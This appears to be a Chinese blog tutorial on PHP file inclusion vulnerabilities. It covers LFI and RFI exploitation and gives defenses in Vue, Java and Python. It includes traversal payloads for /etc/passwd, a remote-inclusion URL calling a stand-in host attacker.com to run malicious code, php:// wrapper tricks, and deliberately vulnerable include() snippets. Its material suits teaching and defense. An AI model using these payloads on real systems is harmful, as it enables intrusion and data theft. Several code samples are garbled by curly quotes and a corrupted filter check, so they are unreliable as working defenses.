当前位置：首页 > article >正文

WEB 漏洞 - 文件包含漏洞深度解析

article 2024/12/27 7:50:38

WEB 漏洞 - 文件包含漏洞深度解析

一、引言

二、什么是文件包含漏洞

三、文件包含漏洞原理

四、文件包含漏洞检测步骤及方法

五、文件包含漏洞类型

六、文件包含漏洞利用方式及示例

七、漏洞防御方案及代码示例

一、引言

在 Web 安全领域，文件包含漏洞是文件操作相关安全问题中的重要部分。本文将详细讲解文件包含漏洞的相关知识，包括其定义、原理、检测方法、类型以及利用方式，并给出相应的代码示例。

二、什么是文件包含漏洞

文件包含漏洞是指在 Web 应用程序中，由于对用户输入或其他来源的数据处理不当，导致攻击者可以利用应用程序的文件包含功能，将恶意文件包含到正常的执行流程中。这可能使得攻击者能够执行恶意代码、获取敏感信息或进行其他恶意操作。例如，攻击者可以利用此漏洞将一个包含恶意代码的文件当作正常的脚本文件（如 PHP、Python 等）执行，具体执行的代码类型取决于目标网站所使用的脚本语言。

三、文件包含漏洞原理

代码功能需求与漏洞产生
在开发过程中，为了提高代码的复用性和可维护性，开发人员会将一些功能性代码写到一个文件中，然后在其他文件中通过特定的函数来包含这些文件并使用其中的代码。例如，在进行数据库查询或文件连接等操作时，可能会有一个配置文件包含数据库连接信息等。当需要这些信息时，就通过包含该配置文件来获取，而无需在每个需要的地方都重复编写相关代码。然而，如果对包含文件的路径或文件名的获取没有进行严格的验证和过滤，就可能导致漏洞的出现。
可控变量与漏洞函数
和许多其他 Web 漏洞一样，文件包含漏洞的产生通常需要两个条件：可控变量和漏洞函数。可控变量是攻击者可以改变其值的变量，比如通过 URL 传参等方式。漏洞函数则是对这个可控变量进行操作的函数，在文件包含漏洞中，这个函数用于包含文件，但没有对要包含的文件进行充分的检查，从而导致攻击者可以控制要包含的文件内容。例如，在 PHP 中，如果include()或require()等函数处理的文件名参数是用户可控的，且没有对其进行严格验证，就可能导致文件包含漏洞。

四、文件包含漏洞检测步骤及方法

检测方法分类
- 白盒检测：如果有目标应用的源代码，可以直接从代码中分析是否存在文件包含漏洞。查看代码中是否有文件包含相关的函数，以及这些函数的参数是否来自用户可控的输入。
- 黑盒检测：在没有源代码的情况下，可以使用工具扫描，或者利用网上公开的漏洞信息、根据目标应用的功能点和参数值来手工检测。
手工检测步骤
- 分析参数值和功能点：查看网址后面的参数值，判断其是否像是一个文件或者类似文件名的参数。例如，如果参数值看起来像是指向一个文件的路径，就可以考虑是否存在文件包含漏洞。同时，分析应用的功能，思考实现该功能可能会涉及到哪些函数，若涉及到文件包含相关函数，则更要关注参数值的安全性。例如，对于一个具有文件展示功能的应用，如果参数是用于指定要展示的文件，那么这个参数就可能存在风险。
- 替换参数值进行测试：如果怀疑某个参数可能与文件包含相关，可以尝试替换该参数值为一些恶意的文件路径或文件名，观察应用的反应。例如，尝试将参数值替换为一个本地的敏感文件路径，看是否能够获取到该文件的内容；或者替换为一个远程的恶意文件地址，观察是否会执行其中的恶意代码。

五、文件包含漏洞类型

本地文件包含（LFI）
- 概念：本地文件包含漏洞允许攻击者包含服务器上的本地文件。攻击者可以利用此漏洞读取服务器上的敏感文件，如配置文件、密码文件等，甚至可以通过包含一些特殊的文件（如日志文件）来获取其他用户的信息。
- 示例：在一个简单的 PHP 应用中，如果有一个文件包含功能，其包含的文件名是通过用户输入的参数来确定的，并且没有对参数进行限制，攻击者就可以通过构造特殊的文件名参数来包含本地文件。例如，通过构造类似../../../../etc/passwd这样的路径（假设服务器是 Linux 系统）来尝试读取/etc/passwd文件。
远程文件包含（RFI）
- 概念：远程文件包含漏洞更为危险，它允许攻击者指定一个远程的文件地址，让服务器去包含并执行该文件中的代码。这意味着攻击者可以在自己控制的服务器上放置恶意文件，然后通过漏洞让目标服务器包含并执行这些恶意代码。不过，远程文件包含通常需要服务器端的一些特殊配置才可能实现，比如在 PHP 中，需要allow_url_include选项被开启。
- 示例：假设目标服务器是 PHP 环境且支持远程文件包含，攻击者可以在自己的服务器上创建一个包含恶意 PHP 代码的文件，然后通过构造包含该远程文件地址的参数，让目标服务器包含并执行其中的恶意代码。例如，构造类似http://attacker.com/malicious.php的参数值。

六、文件包含漏洞利用方式及示例

本地文件包含利用（以 PHP 为例）
- 无限制情况：假设存在一个 PHP 页面，其中有一个文件包含功能，没有对文件名进行任何限制。以下是一个简单的代码示例：
<?php $file = $_GET['file']; include($file); ?>

攻击者可以通过构造 URL 参数来包含本地文件，如http://target.com/page.php?file=/etc/passwd（假设目标服务器是 Linux 系统），就可以读取/etc/passwd文件内容。

有限制情况（以文件名后缀限制为例）：如果代码对要包含的文件名有后缀限制，比如只允许包含.html文件，代码可能如下：
<?php $file = $_GET['file']. '.html'; include($file); ?>

这时攻击者可以利用一些技巧绕过限制。例如，如果服务器是 Windows 系统，可以利用文件名长度限制来绕过。假设 Windows 系统文件名长度限制为 256 位，攻击者可以构造一个很长的文件名参数，使得后缀.html被截断。比如http://target.com/page.php?file=../../../../../../../../../../../../../etc/passwd...........................（文件名足够长，超过 256 位，省略号表示填充内容），这样就可能成功包含/etc/passwd文件。
2.远程文件包含利用（以 PHP 为例，假设allow_url_include开启）
以下是一个简单的 PHP 代码示例：

<?php
$file = $_GET['file'];
include($file);
?>

攻击者可以在自己的服务器上创建一个恶意文件malicious.php，其中包含恶意代码（如创建后门等），然后通过构造 URL 参数http://target.com/page.php?file=http://attacker.com/malicious.php，让目标服务器包含并执行恶意文件中的代码。
3.利用伪协议（以 PHP 为例）

php://filter 读取文件内容：可以使用php://filter伪协议来读取文件内容，例如：
<?php $file = 'php://filter/read=convert.base64-encode/resource=./test.txt'; include($file); ?>

这段代码会将test.txt文件内容以 Base64 编码的形式读取出来。攻击者可以利用这种方式读取服务器上的敏感文件内容，然后通过 Base64 解码获取原始信息。

php://input 写入文件（执行代码）：通过php://input伪协议可以向文件中写入内容，从而实现执行恶意代码的目的。例如：
<?php $code = '<?php system("ls");?>'; // 这里可以是更恶意的系统命令
$file = ‘php://input’;
file_put_contents(‘test.php’, $code);
include(‘test.php’);
?>

攻击者可以通过 POST 请求将恶意代码发送到这个 PHP 页面，实现在服务器上执行恶意代码（这里以执行ls命令为例）。

七、漏洞防御方案及代码示例

前端输入验证（使用 vue3 和 ts）
在用户输入的地方添加验证逻辑，防止用户输入可能导致文件包含漏洞的内容。例如，对于一个文件选择或输入的功能，以下是一个简单的代码示例：

// 在Vue组件中，假设这是一个文件输入框的提交方法
submitFileInput() {
const userInput = this.fileInputValue; // 获取用户输入的文件名或路径
// 简单的验证，这里可以使用更复杂的正则表达式等方式来检查恶意内容
if (userInput.includes(‘…’) || userInput.includes(‘😕/’)) {
alert(‘输入包含恶意内容’);
return;
}
// 继续后续的业务逻辑，如将数据发送到后端
this.$http.post(‘/api/processFileInput’, { fileInput: userInput }).then((response) => {
// 处理成功响应
}).catch((error) => {
// 处理错误
});
}
后端验证和过滤（使用 Java）
在服务器端接收前端传来的数据时，要对文件名或路径进行严格的验证和过滤。以下是一个简单的 Java Servlet 示例，用于处理文件包含相关的请求：

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.regex.Pattern;

@WebServlet(“/api/processFileInput”)
public class FileInputProcessingServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String userInput = request.getParameter(“fileInput”);
// 检查是否包含恶意内容，这里只是简单示例，可根据实际情况完善
if (isValid(userInput)) {
// 在这里处理合法的文件输入，比如进行正常的文件操作
response.setContentType(“text/html”);
PrintWriter out = response.getWriter();
out.println(“File input processed successfully.”);
} else {
response.setContentType(“text/html”);
PrintWriter out = response.getWriter();
out.println(“Invalid file input. It may contain malicious content.”);
}
}
```
private boolean isValid(String data) {
    // 使用正则表达式检查是否包含可能的恶意文件路径相关内容
    return!Pattern.compile("(\.\.)|(:\/\/)", Pattern.CASE_INSENSITIVE).matcher(data).find();
}
```
}
服务器配置安全（以 PHP 为例，使用 Python 脚本进行配置检查）
可以使用 Python 编写一个简单的脚本，用于检查服务器的 PHP 配置中是否存在可能导致远程文件包含漏洞的设置（如allow_url_include选项）。以下是一个简单的示例：

import subprocess

执行命令检查PHP配置中allow_url_include的值

result = subprocess.run([‘php’, ‘-i’], capture_output=True, text=True)
if ‘allow_url_include => On’ in result.stdout:
print(“Warning: allow_url_include is enabled. It may lead to remote file inclusion vulnerability.”)
else:
print(“allow_url_include is disabled.”)